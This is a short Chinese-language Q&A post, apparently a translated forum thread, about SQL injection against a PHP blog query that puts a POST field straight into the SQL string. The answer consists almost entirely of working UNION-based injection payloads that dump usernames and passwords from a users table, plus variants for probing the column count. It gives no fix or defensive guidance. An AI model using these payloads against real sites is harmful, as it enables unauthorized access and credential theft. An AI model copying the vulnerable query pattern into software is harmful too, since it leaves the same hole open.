PHP站点的SQL注入

Question

$sql = "SELECT * FROM blogposts WHERE name= '" . $_POST["blogname"] . "'";

Answer 1

你会注射

' OR '1'='1' UNION SELECT Username, Password FROM users;--

这将使查询

SELECT * FROM blogposts WHERE name= '' OR '1'='1' UNION SELECT Username, Password FROM users;--'

它将原始更改查询的结果与users表的结果组合在一起。

     ' OR '1'='1' UNION SELECT 1 FROM users;--
     ' OR '1'='1' UNION SELECT 1,2 FROM users;--
     ' OR '1'='1' UNION SELECT 1,2,3 FROM users;--

' OR '1'='1' UNION SELECT Username, Password, 3,4,5 FROM users;--